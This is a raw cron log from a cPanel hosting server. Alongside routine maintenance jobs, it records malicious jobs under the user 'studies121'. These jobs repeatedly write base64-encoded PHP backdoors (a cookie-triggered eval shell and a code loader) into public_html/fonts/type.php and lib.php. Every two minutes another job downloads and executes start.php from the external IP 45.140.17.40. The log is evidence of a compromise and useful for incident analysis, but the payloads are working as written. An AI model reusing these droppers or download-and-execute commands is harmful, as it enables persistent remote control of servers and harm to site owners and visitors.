Aug 31 00:10:01 ip-184-168-122-23 CROND[29608]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:10:01 ip-184-168-122-23 CROND[29612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:10:01 ip-184-168-122-23 CROND[29613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:11:01 ip-184-168-122-23 CROND[29703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:11:01 ip-184-168-122-23 CROND[29706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:11:01 ip-184-168-122-23 CROND[29705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:11:01 ip-184-168-122-23 CROND[29707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:12:01 ip-184-168-122-23 CROND[29791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:12:01 ip-184-168-122-23 CROND[29793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:12:01 ip-184-168-122-23 CROND[29794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:12:01 ip-184-168-122-23 CROND[29798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:12:01 ip-184-168-122-23 CROND[29796]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:13:01 ip-184-168-122-23 CROND[29887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:13:01 ip-184-168-122-23 CROND[29889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:13:01 ip-184-168-122-23 CROND[29890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:13:01 ip-184-168-122-23 CROND[29895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:14:01 ip-184-168-122-23 CROND[29972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:14:01 ip-184-168-122-23 CROND[29975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:14:01 ip-184-168-122-23 CROND[29976]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:14:01 ip-184-168-122-23 CROND[29978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:14:01 ip-184-168-122-23 CROND[29979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:15:01 ip-184-168-122-23 CROND[30063]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Aug 31 00:15:01 ip-184-168-122-23 CROND[30065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:15:01 ip-184-168-122-23 CROND[30066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:15:01 ip-184-168-122-23 CROND[30069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:15:01 ip-184-168-122-23 CROND[30067]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:15:01 ip-184-168-122-23 CROND[30068]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 00:15:01 ip-184-168-122-23 CROND[30070]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:15:01 ip-184-168-122-23 CROND[30071]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:16:01 ip-184-168-122-23 CROND[30191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:16:01 ip-184-168-122-23 CROND[30192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:16:01 ip-184-168-122-23 CROND[30193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:16:01 ip-184-168-122-23 CROND[30197]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 00:16:01 ip-184-168-122-23 CROND[30198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:16:01 ip-184-168-122-23 CROND[30196]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:17:01 ip-184-168-122-23 CROND[30298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:17:01 ip-184-168-122-23 CROND[30300]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:17:01 ip-184-168-122-23 CROND[30302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:17:01 ip-184-168-122-23 CROND[30305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:18:02 ip-184-168-122-23 CROND[30462]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:18:02 ip-184-168-122-23 CROND[30464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:18:02 ip-184-168-122-23 CROND[30465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:18:02 ip-184-168-122-23 CROND[30466]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:18:02 ip-184-168-122-23 CROND[30467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:19:01 ip-184-168-122-23 CROND[30550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:19:01 ip-184-168-122-23 CROND[30553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:19:01 ip-184-168-122-23 CROND[30552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:19:01 ip-184-168-122-23 CROND[30554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:20:01 ip-184-168-122-23 CROND[30646]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 00:20:01 ip-184-168-122-23 CROND[30649]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:20:01 ip-184-168-122-23 CROND[30651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:20:01 ip-184-168-122-23 CROND[30652]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 00:20:01 ip-184-168-122-23 CROND[30656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:20:01 ip-184-168-122-23 CROND[30657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:20:01 ip-184-168-122-23 CROND[30653]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:20:01 ip-184-168-122-23 CROND[30660]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:20:01 ip-184-168-122-23 CROND[30659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:21:01 ip-184-168-122-23 CROND[30789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:21:01 ip-184-168-122-23 CROND[30791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:21:01 ip-184-168-122-23 CROND[30795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:21:01 ip-184-168-122-23 CROND[30796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:22:01 ip-184-168-122-23 CROND[30869]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:22:01 ip-184-168-122-23 CROND[30872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:22:01 ip-184-168-122-23 CROND[30871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:22:01 ip-184-168-122-23 CROND[30873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:22:01 ip-184-168-122-23 CROND[30874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:23:01 ip-184-168-122-23 CROND[31033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
